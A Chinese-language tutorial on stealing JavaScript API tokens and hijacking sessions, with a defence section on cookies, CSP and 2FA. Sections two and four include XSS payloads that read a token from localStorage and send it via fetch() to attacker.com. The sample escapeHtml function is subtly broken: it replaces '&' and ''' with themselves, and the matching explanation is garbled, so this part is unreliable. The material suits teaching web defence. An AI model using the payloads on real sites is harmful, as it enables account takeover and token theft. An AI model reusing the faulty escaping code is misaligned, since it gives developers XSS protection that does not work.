JS `API Token` 提取与会话劫持 (Session Hijacking)

各位观众老爷们，大家好！我是今天的主讲人，接下来咱们聊聊“JS API Token 提取与会话劫持”。这听起来有点像电影里的桥段，但其实在Web安全领域，它是一个真实存在的威胁。准备好你的咖啡，咱们开始吧！

一、API Token 基础：你是谁？从哪里来？要到哪里去？

首先，我们要明白什么是 API Token。简单来说，它就是你访问某个API的“通行证”。就像你去参加演唱会，需要门票一样。API Token 证明了“你是谁”，以及“你有权限做什么”。

• 作用： 验证用户身份、授权访问资源。
• 类型： 常见的有 JWT (JSON Web Token)、Bearer Token 等。
• 存储位置： 通常存储在浏览器的 Cookie、LocalStorage 或 SessionStorage 中。

二、JS 代码中的 Token 提取：明修栈道，暗度陈仓

现在，我们来看看攻击者如何从JS代码中提取 Token。记住，攻击者也是程序员，只不过他们把聪明才智用在了歪门邪道上。

1. 查看源代码：

   最简单粗暴的方法，就是直接查看网页的源代码。攻击者会搜索关键词，比如 "token"、"apiKey"、"authorization" 等。

   <script>
     // 某段JS代码
     const apiToken = "THIS_IS_A_VERY_SECRET_TOKEN"; // 别这样写！
     // ...
   </script>

   如果开发者不小心把Token直接写在了前端代码里，那简直就是送人头。

2. 浏览器开发者工具：

   • Elements 面板： 查看 HTML 结构，看看是否有内嵌的 Token。
   • Network 面板： 监听网络请求，看看是否有请求头携带 Token。
   • Application 面板： 查看 Cookie、LocalStorage、SessionStorage，看看是否有 Token 存储在那里。
   • Sources 面板： 可以调试 JS 代码，或者直接搜索 Token 相关的字符串。

   // 假设我们想从 LocalStorage 中获取 Token
   const token = localStorage.getItem('authToken');
   console.log(token); // 攻击者也可以这么做

3. XSS 攻击：

   XSS (Cross-Site Scripting) 攻击是一种非常常见的Web安全漏洞。攻击者通过注入恶意脚本，让用户的浏览器执行攻击者的代码。

   // 假设存在 XSS 漏洞
   // 攻击者可以注入以下代码
   const token = localStorage.getItem('authToken');
   fetch('https://attacker.com/steal?token=' + token); // 把 Token 发送到攻击者的服务器

   XSS 防御非常重要，后面我们会详细讲解。

4. 中间人攻击（Man-in-the-Middle）：

   攻击者通过监听网络流量，截获客户端和服务器之间的通信数据。如果通信没有使用 HTTPS 加密，Token 就可能被窃取。

三、会话劫持 (Session Hijacking)：鸠占鹊巢

有了 Token 之后，攻击者就可以冒充用户，进行各种操作。这就是会话劫持。

1. Cookie 劫持：

   如果 Token 存储在 Cookie 中，攻击者可以通过窃取 Cookie 来劫持会话。

   • XSS 攻击： 注入恶意脚本，获取 Cookie。
   • 中间人攻击： 截获 HTTP 请求，获取 Cookie。
   • Cookie 注入： 在某些情况下，攻击者可以伪造 Cookie。

2. Token 重放攻击：

   攻击者截获 Token 后，直接使用该 Token 发起请求。服务器如果没有做额外的验证，就会认为这是合法的请求。

3. 持久化会话劫持：

   攻击者不仅要劫持当前的会话，还要让劫持后的会话保持有效。例如，攻击者可以修改用户的个人资料，添加自己的邮箱或手机号，以便在用户修改密码后仍然可以控制账户。

四、实战演练：模拟攻击场景

为了让大家更直观地理解，我们来模拟一个简单的攻击场景。

1. 目标： 窃取用户的 API Token。

2. 方法： XSS 攻击。

   假设我们有一个存在 XSS 漏洞的网站，以下是攻击步骤：

   • 注入恶意脚本：

     <script>
       const token = localStorage.getItem('authToken');
       if (token) {
         fetch('https://attacker.com/steal?token=' + token, {
           method: 'POST',
           mode: 'no-cors' // 避免跨域问题
         });
       }
     </script>

   • 攻击者服务器：
     攻击者的服务器接收到 Token 后，就可以冒充用户发起请求。

   • 受害者：
     用户访问存在 XSS 漏洞的页面，浏览器执行恶意脚本，Token 被发送到攻击者的服务器。用户毫无察觉。

五、防御措施：守卫你的 Token

说了这么多攻击方法，现在我们来谈谈如何防御。记住，安全是一个持续的过程，没有绝对的安全，只有相对的安全。

1. HTTPS：

   使用 HTTPS 加密所有通信，防止中间人攻击。这是最基本的安全措施。

2. HttpOnly Cookie：

   将 Token 存储在 HttpOnly Cookie 中，禁止 JavaScript 访问 Cookie。这样可以有效防止 XSS 攻击窃取 Cookie。

   Set-Cookie: authToken=YOUR_TOKEN; HttpOnly; Secure

   • HttpOnly: 告诉浏览器，不允许 JavaScript 访问该 Cookie。
   • Secure: 告诉浏览器，只有在 HTTPS 连接下才能发送该 Cookie。

3. SameSite Cookie：

   使用 SameSite Cookie 可以防止 CSRF (Cross-Site Request Forgery) 攻击。

   Set-Cookie: authToken=YOUR_TOKEN; HttpOnly; Secure; SameSite=Strict

   • SameSite=Strict: 只有在同一站点下才能发送该 Cookie。
   • SameSite=Lax: 在某些情况下，允许跨站点发送该 Cookie，例如点击链接。
   • SameSite=None: 允许跨站点发送该 Cookie，但必须同时设置 Secure 属性。

4. 输入验证和输出编码：

   对所有用户输入进行验证，防止 XSS 攻击。对所有输出进行编码，防止恶意脚本执行。

   • 输入验证： 检查用户输入是否符合预期格式，过滤掉特殊字符。
   • 输出编码： 将特殊字符转换为 HTML 实体。例如，将 < 转换为 <，将 > 转换为 >。

5. 内容安全策略 (CSP)：

   使用 CSP 可以限制浏览器可以加载的资源，防止恶意脚本执行。

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

   • default-src 'self': 默认只允许加载来自同一域名的资源。
   • script-src 'self' https://trusted-cdn.com: 只允许加载来自同一域名和 https://trusted-cdn.com 的脚本。

6. Token 过期时间：

   设置合理的 Token 过期时间，防止 Token 被长期滥用。

7. 刷新 Token：

   使用刷新 Token 机制，定期更换 Token，即使 Token 被窃取，也无法长期使用。

8. 双因素认证 (2FA)：

   启用双因素认证，增加账户的安全性。即使攻击者窃取了 Token，也需要验证第二因素才能登录。

9. 监控和日志：

   监控 API 请求，记录所有可疑行为。及时发现并处理安全问题。

10. Web Application Firewall (WAF):

    使用 WAF 可以过滤恶意请求，防止各种Web攻击。

六、代码示例：防御 XSS 攻击

以下是一个简单的 XSS 防御示例：

function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "'");
}

// 假设我们从用户那里获取了以下输入
const userInput = "<script>alert('XSS')</script>";

// 对用户输入进行编码
const safeInput = escapeHtml(userInput);

// 将安全的用户输入显示在页面上
document.getElementById('output').innerHTML = safeInput;

七、总结：安全之路，任重道远

API Token 提取与会话劫持是一个非常复杂的问题，需要从多个方面进行防御。没有一劳永逸的解决方案，只有不断学习和改进。希望今天的讲座能给大家带来一些启发。

防御措施	作用	优先级
HTTPS	加密通信，防止中间人攻击	高
HttpOnly Cookie	禁止 JavaScript 访问 Cookie，防止 XSS 攻击	高
SameSite Cookie	防止 CSRF 攻击	中
输入验证/输出编码	防止 XSS 攻击	高
CSP	限制浏览器可以加载的资源，防止恶意脚本执行	中
Token 过期时间	防止 Token 被长期滥用	中
刷新 Token	定期更换 Token，即使 Token 被窃取，也无法长期使用	中
双因素认证	增加账户的安全性	高
监控和日志	及时发现并处理安全问题	中
WAF	过滤恶意请求，防止各种Web攻击	中

最后，记住一点：永远不要相信用户输入！

感谢大家的观看，下课！